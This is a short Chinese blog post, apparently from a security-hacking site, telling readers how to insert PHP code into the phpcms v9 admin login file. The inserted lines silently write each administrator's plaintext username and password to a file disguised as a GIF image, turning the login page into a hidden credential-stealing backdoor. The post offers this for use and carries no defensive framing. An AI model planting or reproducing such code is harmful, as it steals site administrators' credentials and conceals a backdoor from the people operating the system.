MENU

phpcmsv9 记录管理密码的方法

October 23, 2013 • phpcode

#author:qadmin

#from:r0eXpeR


/phpcms/modules/admin/index.php 文件的
84行之后插入如下代码,
则可记录管理每次登陆的用户名和密码

$fp = fopen('C:/wamp/www/code/phpcmsv9/phpcms/modules/admin/53.gif', 'a');
fwrite($fp, " id:".$_POST['username']."—-w:".$_POST['password']."\r\n");
fclose($fp);        

Archives QR Code
QR Code for this page
Tipping QR Code